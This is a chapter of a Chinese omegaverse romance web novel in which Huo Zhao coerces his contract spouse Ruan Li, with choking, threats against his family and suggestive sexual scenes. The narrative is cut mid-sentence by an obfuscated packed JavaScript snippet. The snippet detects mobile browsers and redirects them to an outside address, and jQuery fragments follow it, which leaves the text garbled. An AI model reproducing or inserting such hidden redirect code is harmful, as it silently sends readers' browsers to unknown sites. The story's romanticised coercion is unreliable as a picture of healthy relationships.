阮栗喝了个微醺就准备上个洗手间就回家,他前脚刚踏进洗手间,后脚就被人捂着嘴拽进了小隔间。
“唔——”
他惊恐地睁大了眼睛,全身都在抗拒,对着那人的胳膊又抓又挠,牙齿也在用力,只不过因为捂得太紧根本就没有办法咬到掌心,最终也是舌头舔了两下,倒是像在勾引人,打情骂俏。
“啪嗒——”
霍昭将人拉进了洗手间隔壁的一间房,在房门反锁上的那一刻,他松开了捂着阮栗嘴的手,嗓音冰凉,吐出一句话,“为什么不接电话?”
阮栗大口大口喘着气,眼框都憋红了,“你有病,你真的有病,我们现在有关系吗?”
若有若无的酒香从阮栗的身上传来,一想到有可能是霍临的信息素,霍昭心中戾气就压制不住,他抬手捏着阮栗的下巴,眼眸低垂,“不要和霍临走得太近,他不是什么好人。”
“你没有资格管我。”阮栗推着霍昭的手,第一次没推动,而霍昭还是一动不动地盯着他,“就算没有解除合约,你也没有资格,当初你不是特意要加上一条,私生活自由么。”
霍昭松开手指,目光还是落在阮栗红润的唇瓣上,他抿了抿嘴唇,低沉的嗓音紧随其后,“今天晚上回家。”
“别闹了,想要什么礼物?”
听到他这句话,阮栗一口气哽在了心口,之前怎么就没发现霍昭是一个死样子啊!
他不想在这里待下去,深吸一口气,“我想好了,合约还是提前结束吧。”
说完这句话,阮栗感受到气压直接低了几个度,胳膊上起了一层鸡皮疙瘩,汗毛直立,对上霍昭情绪浓烈的眼眸,打了一个哆嗦。
霍昭粗粝的手指抚上阮栗白嫩光滑的安静,心中泛着刺痛,像是独属他的小狗主动跟着别人走了,他逐渐收紧掌心。
阮栗呼吸不畅,低头咬在了霍昭的虎口,直接见血,在霍昭松开的那一刻,他往后退了好几步,后背紧靠在墙上,看向霍昭的眼神像是在看怪物。
“阮栗,你还不明白么…”霍昭一步步逼近,他猛地擒住阮栗的下巴,“选择权从不在你的手中。”
“你知道为什么你爸爸和二哥最近总是忙得见不到人吗?”
阮栗被迫和霍昭对视,他看着霍昭的脸,格外陌生,“你什么意思?”
霍昭翘起嘴角,将人搂在怀里,右手一下又一下地轻轻拍打阮栗的后背,“宝贝,乖乖回家,等合约到期,我自然会放你离开。”
陌生,恐怖。
这是他第一次见到霍昭的这一面,他冷到牙齿轻颤,情绪崩溃,他好像从来都不了解面前这个人。
他爱看一整个青春的人,竟然用家人威胁他,在霍昭最难的那两年,虽然家人有逼迫霍昭娶他,但他不是偷偷瞒着家里人没有和他真正领证吗?
太可怕了。
“霍昭,你没有心!”阮栗看向霍昭的眼神带着他自己都没有发现的恨意,“你用家人威胁我?”
“我有对不起你吗?有吗?你太可怕了,你不是我爱的霍昭。”
霍昭敏锐捕捉到阮栗眼中的那丝恨意,心跟着一阵抽痛,他不是第一次看到这样的眼神,听到这样的话,幼时见得多了,也不怕再多听几遍。
他拉过阮栗的手,从口袋里面拿出一枚银色戒指,缓缓得套在阮栗的无名指,轻声道:“栗栗,生日快乐。”
是他没送出去的生日礼物,一枚银戒,准确来说是一对,另一只在他的手上。
之前阮栗一直在他耳边念叨没有情侣戒指,演的根本不像,那天出差,他鬼使神差买下了一对银戒,作为阮栗21岁的生日礼物,却没来得急送出去,连同那一句“生日快乐”。
阮栗看着无名指上的戒指,心中百感交集,如果是之前,他会特别开心,整个人都缠着霍昭,而现在,他只觉得累,只觉得碍事。
眼泪一滴一滴砸在霍昭的手背,他吸了吸鼻子,调整了一下情绪,“我跟你回去,你不许为难我爸爸和二哥。”
霍昭喉头一紧,声音艰涩,“好。”
什么时候他竟然对阮栗也得用威胁这一招了。
当天晚上阮栗并没有和霍昭一起回去,而是先回了家,要和妈妈他们说一声,霍昭也欣然同意,只说让他在易感期也就是大后天,之前赶回去。
阮栗无法形容自己现在的心情,就像网上很流行的那句话,白月光突然烂掉了,他发现他其实一点都不了解霍昭,更或许,他爱的只是那个将他从泥潭里面拉出来的霍昭。
既然他想要履行合约到自然结束,好啊,那就履行吧,不就是每个月做做么,他也不亏好吧,别的不说,霍昭的活儿还是挺好的。
“嗡嗡——”
阮栗是被一连串的手机震动吵醒的,他强撑着困意打开手机,瞬间惊醒。
【霍临:少爷,你的东西到了。】
【霍临:不过路上好像出了意外,包装破了。图片×3】
图片上定制的内衣被霍临勾在食指。
啊啊啊啊啊,谁能告诉他,为什么定制的内衣会寄到老宅?!
袋子还破了??阮栗真觉得自己这段时间太水逆了,可以去烧香拜佛了。
肯定是不能要了,而且在老宅他也不想过去,还不知道怎么面对霍爷爷呢。
【栗子:扔了吧,谢谢。】
霍临看到消息时,勾了勾唇角,眼中的笑意溢出,可以想到阮栗发消息时炸毛的样子。
不过这么好的东西,扔了太可惜。
既然不想过来拿,他让人送过去不就好了?
至于是谁送。
霍临挑了挑眉,将内衣重新包装,是他的风格。
晚上是霍家每月的例行聚会,会来很多人,但来的人也主要是现在霍家的话事人,所以也不是很多。
他像往常一样,只在聚会上当做一个透明人,时不时露出一个社交微笑。
霍昭是主事人,周围围了一圈人,觥筹交错间眼睛的余光看到了霍临窝在沙发上的身影,轻嗤一声。
这种人也配在阮栗身边转?
他自认为平时两人秉持着井水不犯河水,但显然霍临不这么认为。
晚上十点,宴会终于结束,霍昭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973778|177854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坐在沙发上,长腿交叠,抬手揉着自己的太阳穴,如果阮栗在的话……
他猛然抬眸,再一次想起了阮栗。
“阿昭,晚上在老宅休息吧。”霍老爷子回卧室前见霍昭还坐在沙发上,“别来回折腾了。”
霍昭低低地应了一声,直到老爷子进房间有半个小时,他这才起身准备离开,万一阮栗今天回去了呢?
他刚站起来,霍临手里就提着东西走了过来,对着他歪了歪脑袋,“大哥,你要回去了?”
“这个是嫂子的内衣,你帮他捎回去吧。”
刹那间,霍昭的信息素释放压制霍临,而霍临也丝毫不畏惧,两人你来我往。
霍昭眸光落在霍临手上的透明袋子,很清楚地看到里面淡蓝色的内衣,中间还缝了一颗小珍珠,他嗤笑一声,看向霍临的目光带着不屑与傲慢,“霍临,你以为这样就能逼怒我吗?”
“阮栗是什么样的人,不用你说,我和他之间的事情不用你费心。”
“大哥,我什么都没说吧。”霍临耸了耸肩,“我只是让你把嫂子的衣服带回去,我有说什么?”
霍昭嘴角带着冷笑,抬手整理了霍临的衣领,一字一句,“最近还是把心思放在公司上比较好,不然真负债了,我怕你还得跪下求人。”
说完这句话,他直径离开,没有再给霍临一个眼风,“衣服就劳烦弟弟直接扔进垃圾桶了。”
“我会带着栗栗一起亲自去挑更合适的。”
霍昭一路飙车回家,到家之后房间漆黑一片,黑暗中像是有一只巨大的手无情地将他吞噬。
他躺在床上时,嗅到枕头上的一丝橙花香,发烫的腺体受到安抚,闭上眼睛脑海里浮现的却是霍临手中的透明袋子。
淡蓝色内衣。
他猛地起身,拉开衣柜,原本满满当当地衣服,如今空落落的,只剩下他自己的。
原本被安抚好的腺体再次肿胀发烫了起来,霍昭的手指落在他某一个西装的口袋,轻轻一夹,一小团白色的蕾丝布料被拉了出来。
浴室哗啦啦作响,时而传出来喘息的声音,最终是蕾丝布料被洗干净搭在阳台。
因为在西装口袋,所以没被带走,霍昭记得很清,是之前阮栗脱下来塞进去的,他还特意交代了佣人,这件西装不用洗。
你看,如今不就派上用场了?
【霍昭:什么时候回来?】
【霍昭:易感期提前了。】
【栗子:明天。】
霍昭靠在床头,看着阮栗给他的消息,明天?明天什么时候?早上?中午?还是晚上?
信息被他删删减减,只剩下一句,“我什么时候去接你?”
【栗子:不用。】
霍昭被堵得一句话都说不出来,第二天他在家办公,从早上等到晚上九点,都没看到人影。
【霍昭:到哪里了?】
发完消息,过了有半个小时,阮栗这才回他。
【栗子:快了。】
一句“快了”,之后就不会任何消息了,直到晚上十一点五十九分,阮栗卡着点进门了。